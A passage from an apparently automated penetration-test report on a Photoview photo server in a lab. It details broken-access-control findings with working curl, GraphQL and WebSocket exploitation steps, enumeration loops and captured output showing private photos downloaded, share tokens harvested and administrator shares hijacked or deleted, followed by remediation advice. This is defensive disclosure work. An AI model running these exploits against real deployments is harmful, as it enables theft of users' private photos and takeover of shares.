-d '{"query":"mutation{shareAlbum(albumId:2,expire:null,password:null){token expire}}}'
# -> {"data":{"shareAlbum":{"token":"FAK6wioH","expire":null}}}
```

Repeating with albumId:1 (the administrator's /photos) and albumId:3 (bob's /photos-bob) also returned tokens (7JTt3ylm, GuFXCkol).

Step 3 — Redeem the token with no credentials

```
curl -s -X POST http://host.docker.internal:4800/api/graphql -H 'Content-Type: application/json' \
-d '{"query":{"shareToken(credentials:{token:"FAK6wioH"}){album{id title filePath media{id title path downloads{mediaUrl{url}}}}}}}'
```

Step 4 — Exfiltrate the victim's photo bytes anonymously

```
# without the token the media route correctly denies access
curl -s -o /dev/null -w '%{http_code}\n' http://host.docker.internal:4800/api/photo/
alice-beach_pLy3nnyu.jpg # 403

# with the illegitimately minted token
curl -s -o alice-beach.jpg -w '%{http_code} %{size_download} %{content_type}\n' \
'http://host.docker.internal:4800/api/photo/alice-beach_pLy3nnyu.jpg?token=FAK6wioH' # 200 27102 image/jpeg

curl -s -o alice-album.zip 'http://host.docker.internal:4800/api/download/album/2/original?token=FAK6wioH'
unzip -l alice-album.zip
```

Proof of Impact

1. Cross-tenant token minted by a non-admin account that is explicitly forbidden from reading the album:

```
$ ... -b "auth-token=$LOW" -d '{"query":{"album(id:2){id title filePath}}}'
{"errors":[{"message":"forbidden","path":["album"]}],"data":null}

$ ... -b "auth-token=$LOW" -d '{"query":"mutation{shareAlbum(albumId:2,expire:null,password:null){token expire}}}'
{"data":{"shareAlbum":{"token":"FAK6wioH","expire":null}}}
```

2. Anonymous redemption dumping alice's private library, then byte-level exfiltration:

```
{
  "data": {
    "shareToken": {
      "token": "FAK6wioH",
      "owner": {
        "id": "5",
        "username": "pentest5",
        "admin": false
      },
      "album": {
        "id": "2",
        "title": "photos-alice",
        "filePath": "/photos-alice",
        "media": [
          {
            "id": "2",
            "title": "alice-beach.jpg",
            "path": "/photos-alice/alice-beach.jpg",
            "downloads": [
              {
                "mediaUrl": {
                  "url": "/api/photo/alice-beach_pLy3nnyu.jpg"
                }
              }
            ]
          }
        ]
      }
    }
  }
}
```

```
$ curl -o /dev/null -w '%{http_code}\n' .../api/photo/alice-beach_pLy3nnyu.jpg
403
$ curl -o alice-beach.jpg -w '%{http_code} %{size_download} %{content_type}\n' '.../
api/photo/alice-beach_pLy3nnyu.jpg?token=FAK6wioH'
200 27102 image/jpeg
```

```
Content-Disposition: attachment; filename="photos-alice.zip"
27102 photos-alice/alice-beach_pLy3nnyu.jpg
26251 photos-alice/alice-cafe_0BNS3qJ5.jpg
26795 photos-alice/alice-garden_b401JZFI.jpg
26202 photos-alice/alice-sunset_XErFYKjc.jpg
```

Remediation

Rewrite the ownership predicate in `AddAlbumShare` (`api/graphql/models/actions/share_token_actions.go`) to verify the caller owns the specific album — e.g.

```
db.Joins("JOIN user_albums ON user_albums.album_id = albums.id").Where("albums.id = ? AND
user_albums.user_id = ?", albumID, user.ID).First(&album)
```

— and return 'forbidden' when no row matches. Apply the same check to `shareMedia`, and surface all share tokens on an album in the owner's UI so illegitimate links are visible and revocable.

Notes

- The minted share token has `expire`: null and, because expiry is never read anyway, the link is permanent and does not appear in the victim's own share list in the UI, so the victim has no practical way to notice or revoke it. Test artefacts: user `pentest5` (id 5), album 4 (`/home/photoview`), share tokens `FAK6wioH` / `GuFXCkol` / `7JTt3yIm`.

AUTHZ-02: Album.shares and Media.shares Resolvers Apply No Owner Scoping or Authentication

HIGH

OWASP A01:2025 — Broken Access Control

Location	POST <code>/api/graphql</code> — fields <code>Album.shares</code> (<code>albumResolver.Shares</code> , <code>api/graphql/resolvers/album.go</code>) and <code>Media.shares</code> (<code>mediaResolver.Shares</code> , <code>api/graphql/resolvers/media.go</code>)
Auth state	Unauthenticated (holding any one share link); also reachable from any authenticated low-privilege session
Prerequisites	One valid share link for the target album (or any Media handle from an authenticated low-privilege session). The harvesting request itself is fully anonymous.
Overview	<code>albumResolver.Shares</code> selects <code>share_tokens</code> WHERE <code>album_id = ?</code> with no owner filter and no <code>auth.UserFromContext</code> check, and the field is reachable from an anonymous share-token context; <code>mediaResolver.Shares</code> has the same pattern. The GraphQL schema documents these fields as returning shares "owned by the logged in user", but the resolvers contain no such predicate.

Impact An anonymous visitor holding one narrowly scoped share link recovered the secret values of all share tokens on the album, including an administrator-owned album-wide token, and used it to download a full-resolution photo (26,495 bytes) that their own link explicitly denied them. The listing also exposes which tokens are password-protected, marking them as hijack targets, and the same field leaks tokens on another tenant's album from an authenticated low-privilege session.

Exploitation Steps

Step 1 — Start from a narrow, legitimately issued share link

```
# as the album owner
curl -s -X POST http://host.docker.internal:4800/api/graphql -H 'Content-Type: application/json' -b "auth-token=$OWNER" \
  -d '{"query":"mutation{shareMedia(mediaId:1,expire:null,password:null){token}}}"'
# -> token 5NN3VBt3, scoped to media 1 only
```

Step 2 — Anonymously enumerate every share token on the containing album

```
curl -s -X POST http://host.docker.internal:4800/api/graphql -H 'Content-Type: application/json' \
  -d '{"query":"{media(id:1,tokenCredentials:{token:\"5NN3VBt3\"}){album{id filePath shares{token hasPassword}}}}}"'
# -> shares: [{"token":"7JTt3ylm","hasPassword":false},
#             {"token":"FHGbWZuu","hasPassword":false},
#             {"token":"aQbuI8He","hasPassword":true}]
```

The same field is reachable from an authenticated low-privilege session through any Media handle, e.g. `mutation{favoriteMedia(mediaId:3,favorite:false){album{filePath shares{token hasPassword}}}}` returned bob's album token.

Step 3 — Identify the owner of a leaked token

```
curl -s -X POST http://host.docker.internal:4800/api/graphql -H 'Content-Type: application/json' \
  -d '{"query":"{shareToken(credentials:{token:\"FHGbWZuu\"}){token hasPassword owner{id username admin} album{id filePath}}}"'
# -> owner {"id":"1","username":"admin","admin":true}, album 1 /photos
```

Step 4 — Use the leaked token as a bearer credential

```
curl -s -o city.jpg -w '%{http_code} %{size_download} %{content_type}\n' \
  'http://host.docker.internal:4800/api/photo/city-skyline_EGdql8XU.jpg?token=FHGbWZuu' # 200 26495 image/jpeg

curl -s -o /dev/null -w '%{http_code}\n' \
  'http://host.docker.internal:4800/api/photo/city-skyline_EGdql8XU.jpg?token=5NN3VBt3' # 403 (own token)
curl -s -o /dev/null -w '%{http_code}\n' \
  'http://host.docker.internal:4800/api/photo/city-skyline_EGdql8XU.jpg' # 403 (no token)
```

Proof of Impact

1. Anonymous caller holding only the single-photo token 5NN3VBt3 enumerates every share on album 1:

```
{
  "data": {
    "media": {
      "album": {
        "id": "1",
        "filePath": "/photos",
        "shares": [
          {
            "token": "7JTt3ylm",
            "hasPassword": false
          },
          {
            "token": "FHGbWZuu",
            "hasPassword": false
          },
          {
            "token": "aQbuI8He",
            "hasPassword": true
          }
        ]
      }
    }
  }
}
```

2. FHGbWZuu belongs to the administrator, and byte-level access succeeds with the leaked token while the token actually held is refused:

```
{
  "data": {
    "shareToken": {
      "token": "FHGbWZuu",
      "owner": {
        "id": "1",
        "username": "admin",
        "admin": true
      },
      "album": {
        "id": "1",
        "filePath": "/photos"
      }
    }
  }
}
```

```
FHGbWZuu -> 200 26495 image/jpeg md5 6967fde6783024074220dc9a9782b60c
5NN3VBt3 -> 403
no token -> 403
```

3. The same field from an authenticated low-privilege session leaks tokens on another tenant's album:

```
{
  "data": {
    "favoriteMedia": {
      "id": "3",
      "path": "/photos-bob/bob-campfire.jpg",
      "album": {
        "id": "3",
        "filePath": "/photos-bob",
        "shares": [
          {
            "token": "GuFXCkol",
            "hasPassword": false
          }
        ]
      }
    }
  }
}
```

Remediation

Scope both resolvers to the caller: require a logged-in user via `auth.UserFromContext`, return an empty list (or an error) for anonymous/share-token contexts, and add `AND owner_id = ?` to the `share_tokens` query in `albumResolver.Shares` and `mediaResolver.Shares` so the implementation matches the documented "shares owned by the logged in user" contract. Never return raw token values to a caller who does not own them.

AUTHZ-03: getUserToken Evaluates the Token Owner's Admin Flag Instead of the Caller's in protectShareToken and deleteShareToken

HIGH

OWASP A01:2025 — Broken Access Control

Location	POST /api/graphql — mutations <code>protectShareToken(token, password)</code> and <code>deleteShareToken(token)</code> ; <code>getUserToken</code> predicate <code>"Owner.id = ? OR Owner.admin = TRUE"</code>
Auth state	Any authenticated non-admin user
Prerequisites	An authenticated low-privilege account and the value of an admin-owned share token (obtainable anonymously through the unscoped <code>Album.shares/Media.shares</code> fields).
Overview	<code>getUserToken</code> builds the predicate <code>Owner.id = ? OR Owner.admin = TRUE</code> , which tests the privilege of the token's owner rather than of the caller. Every share token created by an administrator is therefore readable, re-passwordable and deletable by any authenticated user; non-admin-owned tokens are correctly protected by the <code>Owner.id</code> half of the predicate.
Impact	From an ordinary non-admin account the assessor took over an administrator's password-protected share link — replacing its password and then downloading a full-resolution photo (27,194 bytes) from the administrator's album anonymously — and permanently deleted a second administrator-owned share link, breaking it for its legitimate recipients.

Exploitation Steps

Step 1 — Authenticate as a low-privilege, non-admin user

```
LOW=$(curl -s -X POST http://host.docker.internal:4800/api/graphql -H 'Content-Type: application/json' \
-d '{"query":"mutation{authorizeUser(username:\"pentest5\",password:\"Pentest5Pass!\"){token}}}"' | grep -o '"token": "[^"]*"' | cut -d '"' -f4)
```

Step 2 — Obtain an admin-owned share token value

```
curl -s -X POST http://host.docker.internal:4800/api/graphql -H 'Content-Type: application/json' \
-d '{"query":"{media(id:1,tokenCredentials:{token:\"5NN3VBt3\"}){album{shares{token hasPassword}}}}}"'
# -> aQbuI8He (hasPassword true), FHGbWZuu (hasPassword false) — both owned by user 1 "admin"
```

Step 3 — Hijack the administrator's password-protected share

```
curl -s -X POST http://host.docker.internal:4800/api/graphql -H 'Content-Type: application/json' -b "auth-token=$LOW" \
-d '{"query":"mutation{protectShareToken(token:\"aQbuI8He\",password:\"pwned123\"){token hasPassword}}}"'
# -> {"protectShareToken":{"token":"aQbuI8He","hasPassword":true}}
```

Step 4 — Use the hijacked share anonymously with the attacker-chosen password

```
curl -s -X POST http://host.docker.internal:4800/api/graphql -H 'Content-Type: application/json' \
-d '{"query":"{shareTokenValidatePassword(credentials:{token:\"aQbuI8He\",password:\"pwned123\"}){}}}"' # true

curl -s -o a.jpg -w '%{http_code} %{size_download}\\n' \
-b 'share-token-pw-aQbuI8He=pwned123' \
'http://host.docker.internal:4800/api/photo/autumn-park_SBxYfsrH.jpg?token=aQbuI8He'
# 200 27194
```

Step 5 — Delete a different administrator-owned share

```
curl -s -X POST http://host.docker.internal:4800/api/graphql -H 'Content-Type: application/json' -b "auth-token=$LOW" \
-d '{"query":"mutation{deleteShareToken(token:\"FHGbWZuu\"){token}}}"'
# -> {"deleteShareToken":{"token":"FHGbWZuu"}}

curl -s -X POST http://host.docker.internal:4800/api/graphql -H 'Content-Type: application/json' \
-d '{"query":"{shareToken(credentials:{token:\"FHGbWZuu\"}){token}}}"'
# -> {"errors":[{"message":"share not found"}]}
```

Proof of Impact

1. Password of an administrator-owned share rewritten by a non-admin account, then used anonymously:

```
{
  "data": {
    "protectShareToken": {
      "token": "aQbuI8He",
      "hasPassword": true
    }
  },
  "data": {
    "shareTokenValidatePassword": true
  },
  "data": {
    "shareToken": {
      "token": "aQbuI8He",
      "hasPassword": true,
      "owner": {
        "id": "1",
        "username": "admin",
        "admin": true
      },
      "album": {
        "id": "1",
        "filePath": "/photos",
        "media": [
          {
            "id": "1",
            "path": "/photos/autumn-park.jpg",
            "downloads": [
              {
                "mediaUrl": {
                  "url": "/api/photo/autumn-park_SBxYfsrH.jpg"
                }
              }
            ]
          }
        ]
      }
    }
  }
}
```

```
$ curl -b 'share-token-pw-aQbuI8He=pwned123' '.../api/photo/autumn-park_SBxYfsrH.jpg?token=aQbuI8He'
200 27194
```

2. Destructive half — an administrator-owned share deleted by the same non-admin session:

```
{
  "data": {
    "deleteShareToken": {
      "token": "FHGbWZuu"
    }
  },
  "errors": [
    {
      "message": "share not found",
      "path": ["shareToken"]
    }
  ]
}
```

GET /api/photo/city-skyline_EGdql8XU.jpg?token=FHGbWZuu -> 500 (returned 200 before the delete)

Remediation

Fix the predicate in `getUserToken` so the admin disjunct tests the caller, not the token owner: select the token by value and then authorise with `token.OwnerID == callingUser.ID || callingUser.Admin`. Never build the admin check from a joined `Owner.admin` column, and return 'share not found' uniformly when the caller is not authorised so token existence is not disclosed.

Notes

- Only admin-owned tokens are universally writable; non-admin-owned tokens are correctly protected. State changed on the target: share aQbu8He now carries the password 'pwned123' (its original password is unrecoverable) and share FHGbWZuu has been deleted.

AUTHZ-04: favoriteMedia Accepts Any mediaId Without an Ownership Predicate

MEDIUM

OWASP A01:2025 – Broken Access Control

Location	POST /api/graphql — mutation favoriteMedia(mediaId, favorite); User.FavoriteMedia uses db.First(&media, mediaID) with no user scoping
Auth state	Any authenticated non-admin user
Prerequisites	An authenticated low-privilege account. No access to the target media is required.
Overview	User.FavoriteMedia looks the media up with db.First(&media, mediaID) and never scopes it to the caller's albums, so the mutation returns a fully resolvable Media object for any media ID in the instance while the guarded Query.media path correctly denies the same object. The error returned for out-of-range IDs additionally acts as a valid-ID oracle.
Impact	A non-admin account with no media of its own read the metadata of every photo belonging to the two other tenants and to the administrator — 18 files across /photos, /photos-alice and /photos-bob — including absolute server paths, album membership, capture timestamps and media URLs, by simple sequential ID enumeration.

Exploitation Steps

Step 1 — Authenticate as a low-privilege user

```
LOW=$(curl -s -X POST http://host.docker.internal:4800/api/graphql -H 'Content-Type: application/json' \
  -d '{"query":"mutation{authorizeUser(username:\"pentest5\",password:\"Pentest5Pass !\\\"){token}}}"' | grep -o '"token":"[^"]*' | cut -d'"' -f4)
```

Step 2 — Show that the guarded read path denies the media

```
curl -s -X POST http://host.docker.internal:4800/api/graphql -H 'Content-Type: application/json' -b "auth-token=$LOW" \
  -d '{"query":"{media(id:2){id title path}}}"'
# -> {"errors":[{"message":"could not get media by media_id and user_id from database: record not found",...}]}
```

Step 3 — Read the same object through the unguarded mutation

```
curl -s -X POST http://host.docker.internal:4800/api/graphql -H 'Content-Type: application/json' -b "auth-token=$LOW" \
  -d '{"query":"mutation{favoriteMedia(mediaId:2,favorite:true){id title path album{id title filePath} exif{camera dateShot coordinates{latitude longitude}} downloads{mediaUrl{url}} thumbnail{url} shares{token hasPassword}}}"'}
```

Step 4 — Enumerate the whole library by iterating mediaId

```
for id in $(seq 1 25); do
  curl -s -X POST http://host.docker.internal:4800/api/graphql -H 'Content-Type: application/json' -b "auth-token=$LOW" \
    -d '{"query":"mutation{favoriteMedia(mediaId:$id,favorite:false){id title path album{id filePath}}}"'
  echo
done
```

IDs 1–18 return data; IDs ≥ 19 return 'get media from database after favorite update: record not found', which also serves as a valid-ID oracle.

Proof of Impact

- Guarded path denies while the unguarded mutation returns the same object (low-privilege session that owns only /home/photoview):

```
{"query":"{media(id:2){id title path}}}"
-> {"errors":[{"message":"could not get media by media_id and user_id from database: record not found","path":["media"]}]}

{"query":"mutation{favoriteMedia(mediaId:2,favorite:true){...}}}"
-> {"data":{"favoriteMedia":{"id":"2","title":"alice-beach.jpg","path":"/photos-alice/alice-beach.jpg",
  "album":{"id":"2","title":"photos-alice","filePath":"/photos-alice"},
  "exif":{"camera":null,"dateShot":"2026-08-28T01:46:37Z","coordinates":null},
  "downloads":[{"mediaUrl":{"url":"/api/photo/alice-beach_ply3nnyu.jpg"}]},
  "thumbnail":{"url":"/api/photo/thumbnail_alice-beach_jpg_iQ8wEARn.jpg"},"shares":[]}}}
```

- Full sweep of mediaId 1–25 from that one account — 18/18 existing objects returned, 0 authorization denials, none of them in the attacker's own album:

```

1  autumn-park.jpg    /photos/autumn-park.jpg    /photos
2  alice-beach.jpg   /photos-alice/alice-beach.jpg /photos-alice
3  bob-campfire.jpg  /photos-bob/bob-campfire.jpg /photos-bob
4  city-skyline.jpg  /photos/city-skyline.jpg    /photos
5  bob-cycling.jpg   /photos-bob/bob-cycling.jpg  /photos-bob
...
11 alice-sunset.jpg /photos-alice/alice-sunset.jpg /photos-alice
12-18 forest-trail, mountain-lake, ocean-pier, old-bridge, river-bend, snow-cabin, s
unflower-field (/photos)
IDs 19-25: record not found

```

Remediation

Scope the lookup in `User.FavoriteMedia` to the caller's accessible albums, mirroring `Query.media`: join media to `user_albums` and require `user_albums.user_id = ?` alongside `media.id = ?`, returning 'not found' when no row matches. Return an identical error for both non-existent and unauthorised IDs so the mutation cannot be used as a valid-ID oracle.

Notes

- The mutation also inserts a `user_media_data` row for media the caller cannot see, but that row is keyed to the attacker's own user id, so it pollutes the attacker's favourites rather than victim data. Test artefacts: favourite rows for media 1-18 under user id 5.

AUTHZ-05: Media and Album Child Resolvers (`Media.album`, `Album.media`, `Album.subAlbums`, `Media.exif`, `Media.downloads`) Perform No Ownership or Token-Scope Check

MEDIUM

OWASP A01:2025 — Broken Access Control

Location	POST <code>/api/graphql</code> — fields <code>Media.album</code> , <code>Album.media</code> , <code>Album.subAlbums</code> , <code>Media.exif</code> , <code>Media.downloads</code> , reached anonymously via query <code>media(id, tokenCredentials)</code>
Auth state	Unauthenticated (holding a single-photo share link)
Prerequisites	A legitimately issued media-scoped share token. Fully anonymous requests thereafter.
Overview	Object-level authorization exists only on the root <code>Query</code> fields. <code>mediaResolver.Album</code> re-queries the album by <code>obj.AlbumID</code> with no ownership or token-scope predicate, and <code>albumResolver.Media</code> then lists the album by <code>album_id</code> alone, so an anonymous holder of a single-photo share link can walk out of the link's scope into the whole containing album.
Impact	An anonymous recipient of a one-photo share link read the entire containing album — 10 file titles, absolute server paths and EXIF timestamps — defeating the narrower scope the owner chose. The root query for those same photos with the same token is correctly refused, so the child resolvers are the sole bypass. Image bytes of the non-shared photos remain protected by <code>/api/photo(403)</code> , so the leak is metadata plus download URLs.

Exploitation Steps

Step 1 — The owner mints a deliberately narrow single-photo share link

```

curl -s -X POST http://host.docker.internal:4800/api/graphql -H 'Content-Type: application/json' -b "auth-token=$OWNER" \

```

```
-d '{"query":"mutation{shareMedia(mediaId:1,expire:null,password:null){token}}}'
# -> {"data":{"shareMedia":{"token":"5NN3VBt3"}}
```

Step 2 — Confirm the intended scope of the link

```
curl -s -X POST http://host.docker.internal:4800/api/graphql -H 'Content-Type: application/json' \
-d '{"query":"{shareToken(credentials:{token:\"5NN3VBt3\"}){token album{id media{id path}}}}}'
# -> {"shareToken":{"album":null,"media":{"id":"1","path":"/photos/autumn-park.jpg"}}}

curl -s -X POST http://host.docker.internal:4800/api/graphql -H 'Content-Type: application/json' \
-d '{"query":"{media(id:4,tokenCredentials:{token:\"5NN3VBt3\"}){id path}}}'
# -> {"errors":[{"message":"unauthorized","path":["media"]}]}
```

Step 3 — Escape the scope through the child resolvers

```
curl -s -X POST http://host.docker.internal:4800/api/graphql -H 'Content-Type: application/json' \
-d '{"query":"{media(id:1,tokenCredentials:{token:\"5NN3VBt3\"}){id path album{id title filePath media{id path} subAlbums{id filePath}}}}}'
```

All 10 photos of album 1 are returned, not just the shared one.

Step 4 — Widen to per-file EXIF through the same unchecked path

```
curl -s -X POST http://host.docker.internal:4800/api/graphql -H 'Content-Type: application/json' \
-d '{"query":"{media(id:1,tokenCredentials:{token:\"5NN3VBt3\"}){album{media{id title exif{dateShot coordinates{latitude longitude}}}}}}}'
```

Proof of Impact

1. Token scope as intended by the owner — one photo, and the root query correctly refuses any other:

```
{"data":{"shareToken":{"token":"5NN3VBt3","album":null,"media":{"id":"1","path":"/photos/autumn-park.jpg"}}}}
{"errors":[{"message":"unauthorized","path":["media"]}],"data":null}
```

2. Same anonymous caller, same token, pivoting through Media.album:

```
{"data":{"media":{"id":"1","path":"/photos/autumn-park.jpg","album":{"id":"1","title":"photos","filePath":"/photos","media":[{"id":"1","path":"/photos/autumn-park.jpg"},{"id":"4","path":"/photos/city-skyline.jpg"},{"id":"7","path":"/photos/desert-dunes.jpg"},{"id":"12","path":"/photos/forest-trail.jpg"},{"id":"13","path":"/photos/mountain-lake.jpg"},{"id":"14","path":"/photos/ocean-pier.jpg"},{"id":"15","path":"/photos/old-bridge.jpg"},{"id":"16","path":"/photos/river-bend.jpg"},{"id":"17","path":"/photos/snow-cabin.jpg"},{"id":"18","path":"/photos/sunflower-field.jpg"}],"subAlbums":[]}}}}
```

3. And per-file EXIF for photos never shared.

Remediation

Enforce authorization at the object level, not only on root queries: propagate the caller's identity or share-token scope through the resolver context and have `mediaResolver.Album`, `albumResolver.Media`, `albumResolver.SubAlbums`, `Media.exif` and `Media.downloads` re-check that the requested object is within that scope (media-scoped tokens must resolve `Media.album` to null or an error). A shared `authorize(ctx, albumID/mediaID)` helper called by every child resolver is preferable to per-field ad-hoc checks.

Notes

- The `Media.favorite` child field does enforce authentication (returns unauthorized anonymously), which is why it is excluded from the query above. Test artefact: share token `5NN3VBt3` on media 1.

AUTHZ-06: notification Subscription Broadcasts Every Tenant's Scanner Events to All Subscribers

MEDIUM

OWASP A01:2025 — Broken Access Control

Location	WS <code>/api/graphql</code> — <code>subscription { notification { header content } }</code> ; <code>BroadcastNotification</code> in <code>api/graphql/notification/Notification.go</code> and <code>api/graphql/resolvers/notification.go</code>
Auth state	Any authenticated low-privilege user
Prerequisites	Any authenticated account, even one that owns no albums. A scan of another user's library must run while the socket is open (periodic scanner or admin-triggered scan).
Overview	<code>BroadcastNotification</code> pushes every scanner notification to every registered listener; the <code>user</code> stored on each listener is never compared against the notification's origin, and the subscription field carries no authorization beyond a logged-in check. Any authenticated account therefore receives the live scan stream for every other tenant's media roots.
Impact	A non-admin account that owns only <code>/home/photoview</code> received the complete live scanner feed for a different user's media roots — 896 notification frames in ~45 seconds disclosing that user's album names and absolute server file paths under <code>/usr/share/icons</code> , <code>/usr/share/pixmaps</code> , <code>/usr/share/doc</code> and <code>/usr/share/ffmpeg</code> .

Exploitation Steps

Step 1 — Open the subscription as a low-privilege user

```
GET /api/graphql HTTP/1.1
Host: host.docker.internal:4800
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: <random base64>
Sec-WebSocket-Protocol: graphql-ws
Cookie: auth-token=[LOW_PRIV_TOKEN]
```

```
python3 .shannon/scratchpad/ws_sub.py 50 # cookie is set inside the script
```

Step 2 — Start the subscription

```
{
  "type": "connection_init",
  "payload": {}
}
{
  "id": "1",
  "type": "start",
  "payload": {
    "query": "subscription{notification{key type header content progress positive negative}}"
  }
}
```

Step 3 — Cause a scan of a different user's library

```
curl -s -X POST http://host.docker.internal:4800/api/graphql -H 'Content-Type: application/json' -b "auth-token=$ADMIN" \
  -d '{"query": "mutation{scanUser(userId:6){success message}}"}'
# -> {"scanUser":{"success":true,"message":"Scanner started"}}
```

User 6 owns /usr/share/icons, /usr/share/pixmaps, /usr/share/doc and /usr/share/ffmpeg; the subscribed account (user 5) owns only /home/photoview.

Step 4 — Read the captured stream

```
grep -o '"content": "Found /usr/share[^"]*" ' ws_out.txt | head
grep -o '"header": "[^"]*" ' ws_out.txt | sort -u
grep -c '"type": *data' ws_out.txt
```

Proof of Impact

1. Frames received by user 5 (pentest5, non-admin, owns only /home/photoview) while user 6's roots were being scanned — 896 data frames in ~45 seconds:

```
{
  "payload": {
    "data": {
      "notification": {
        "key": "",
        "type": "Message",
        "header": "Found new media in album 'actions'",
        "content": "Found /usr/share/icons/Adwaita/64x64/actions/zoom-fit-best-symbolic.symbolic.png",
        "progress": null,
        "positive": false,
        "negative": false
      }
    }
  },
  "id": "1",
  "type": "data"
}
```

```
"content": "Found /usr/share/icons/Adwaita/96x96/devices/tv-symbolic.symbolic.png"
"content": "Found /usr/share/icons/Adwaita/64x64/status/network-cellular-no-route-symbolic.symbolic.png"
"header": "Found new media in album 'devices'"
"header": "Found new media in album 'mimetypes'"
"content": "3 jobs in progress\n109 jobs waiting"
```

2. Ownership of the leaked albums, queried separately as administrator, is user 6 (victim1), not the subscriber:

```
{
  "id": "6",
  "username": "victim1",
  "rootAlbums": [
    {
      "id": "70",
      "filePath": "/usr/share/icons"
    },
    {
      "id": "71",
      "filePath": "/usr/share/pixmaps"
    },
    {
      "id": "72",
      "filePath": "/usr/share/doc"
    },
    {
      "id": "73",
      "filePath": "/usr/share/ffmpeg"
    }
  ]
}
```

Remediation

Tag each notification with the user (and album) it concerns and filter in BroadcastNotification (api/graphql/notification/Notification.go): only deliver to listeners whose listener.user.ID matches the notification's target user, with instance-wide messages restricted to administrators. Additionally strip absolute filesystem paths and raw OS error strings from notification content, replacing them with album-relative names.

Notes

- User 6 (victim1) and its /usr/share/* root albums pre-existed on the target from another test session; the leak reproduces for any user whose scan runs while the socket is open.

AUTHZ-07: ShareToken.owner Field Returns the Sharer's Username and Admin Flag to Anonymous Callers

LOW

OWASP A01:2025 — Broken Access Control

Location	POST /api/graphql — query shareToken(credentials){ owner { id username admin } }; shareTokenResolver.Owner
Auth state	Unauthenticated
Prerequisites	Any share link — one legitimately received, or one enumerated via the unscoped Album.shares field.
Overview	shareTokenResolver.Owner returns the full User object with no authorization check, and Query.shareToken carries no directive, so anyone holding a share link learns the owning account's id, login username and administrator flag.
Impact	An unauthenticated caller holding a share link learned the owning account's user id, login username and administrator status — confirming <code>admin</code> (id 1) as an administrator of the instance. With no self-registration and no login rate limiting, a confirmed valid username is directly usable as a target for online password guessing.

Exploitation Steps

Step 1 — Query the owner field with no credentials

```
curl -s -X POST http://host.docker.internal:4800/api/graphql -H 'Content-Type: application/json' \
-d '{"query":"{shareToken(credentials:{token:\"FHGbWZuu\"}){token hasPassword owner{id username admin} album{id filePath}}}"'
```

No cookie and no Authorization header are sent; the response includes the owning account's username and admin flag.

Step 2 — Repeat for each discovered token to map administrators

```
for t in FHGbWZuu 7JTt3yIm 5NN3VBt3; do
  curl -s -X POST http://host.docker.internal:4800/api/graphql -H 'Content-Type: application/json' \
  -d '{"query":"{shareToken(credentials:{token:\"$t\"}){token owner{id username admin}}}"'; echo
done
```

Proof of Impact

1. Unauthenticated request, administrator identity disclosed:

```
{
  "data": {
    "shareToken": {
      "token": "FHGbWZuu",
      "hasPassword": false,
      "owner": {
        "id": "1",
        "username": "admin",
        "admin": true,
        "album": {
          "id": "1",
          "filePath": "/photos"
        }
      }
    }
  }
}
```

2. And for a token minted by a non-admin account:

```
{
  "data": {
    "shareToken": {
      "token": "FAK6wioH",
      "owner": {
        "id": "5",
        "username": "pentest5",
        "admin": false,
        "album": {
          "id": "2",
          "title": "photos-alice",
          "filePath": "/photos-alice"
        }
      }
    }
  }
}
```

Remediation

Remove the `owner` field from the anonymous `ShareToken` type or restrict `shareTokenResolver.Owner` to authenticated callers who own the token; if a display name is needed for share pages, expose a non-identifying label instead of the login username and never expose the admin flag to unauthenticated callers.

Miscellaneous Exploitation Evidence (6 findings)

MISC-01: WebSocket Transport at `/api/graphql` Never Re-Validates the Session Captured at Upgrade Time

HIGH

OWASP A01:2025 — Broken Access Control

Location	WebSocket transport at <code>ws://host.docker.internal:4800/api/graphql</code> (queries and mutations over the persistent connection); <code>transport.Websocket</code> registered with no <code>InitFunc</code> at <code>api/graphql/endpoint/graphql_endpoint.go</code>
Auth state	Session valid at the moment the WebSocket is opened (admin used to show privilege persistence)
Prerequisites	A session that is valid at the moment the WebSocket is opened (any account).
Overview	The <code>gqlgen</code> WebSocket transport is registered without an <code>InitFunc</code> (<code>auth.AuthWebSocketInit</code> is dead code), so the connection permanently inherits the <code>*models.User</code> resolved at the HTTP upgrade. Neither token expiry, nor admin demotion, nor account deletion is ever re-evaluated for the lifetime of the socket, which the 10 s keep-alive can hold open indefinitely.
Impact	A user account that had been demoted from admin and then deleted from the database continued to execute admin-only GraphQL operations over its already-open WebSocket, returning the full user table with usernames and admin flags, while the identical HTTP requests were rejected with 'user must be admin' and 'unauthorized'. Every revocation mechanism the application offers — demotion, deletion, password change, token expiry — is nullified for the lifetime of a WebSocket.

Exploitation Steps

Step 1 — Log in and open an authenticated WebSocket

```
curl -s -X POST http://host.docker.internal:4800/api/graphql -H 'Content-Type: application/json' \
  -d '{"query": "mutation{authorizeUser(username:\"wsadm6\",password:\"WsAdm123\"){token}}"}'
```

```
from wsclient import WS
W = WS("host.docker.internal", 4800, "/api/graphql", headers={"Cookie": "auth-token=[WS_TOKEN]"})
W.send({"type": "connection_init", "payload": {}})
W.send({"id": "q1", "type": "start", "payload": {"query": "{ user { id username admin } }"}})
```

Step 2 — Revoke the account's privileges from another admin session

```
curl -s -X POST http://host.docker.internal:4800/api/graphql -H 'Content-Type: application/json' \
  -b 'auth-token=[OTHER_ADMIN_TOKEN]' \
  -d '{"query": "mutation{ updateUser(id:[TARGET_USER_ID], admin:false){ id username admin } }"}'
```

confirm over HTTP with the revoked account's cookie

```
curl -s -X POST http://host.docker.internal:4800/api/graphql -H 'Content-Type: application/json' \
  -b 'auth-token=[WS_TOKEN]' -d '{"query": "{ user { id username admin } }"}'
```

{"errors":[{"message":"user must be admin","path":["user"]}],"data":null}

Step 3 — Send the identical admin-only query over the still-open socket

```
W.send({"id": "q2", "type": "start", "payload": {"query": "{ user { id username admin } }"}}) # still returns data
```

Step 4 — Delete the account entirely and repeat both channels

```
curl -s -X POST http://host.docker.internal:4800/api/graphql -H 'Content-Type: application/json' \
  -b 'auth-token=[OTHER_ADMIN_TOKEN]' -d '{"query": "mutation{ deleteUser(id:[TARGET_USER_ID]){ id username } }"}'
```

```
curl -s -X POST http://host.docker.internal:4800/api/graphql -H 'Content-Type: application/json' \
  -b 'auth-token=[WS_TOKEN]' -d '{"query": "{ myUser { id username } }"}'
```

{"errors":[{"message":"unauthorized","path":["myUser"]}],"data":null}

```
W.send({"id": "q3", "type": "start", "payload": {"query": "{ user { id username admin } }"}}) # still returns the full user list
```

Proof of Impact

```

--- before demotion, ws admin query ---
WS: {"payload":{"data":{"user":[{"id":"1","username":"admin","admin":true},...]}}}

--- demote wsadm6 (id 9) to non-admin ---
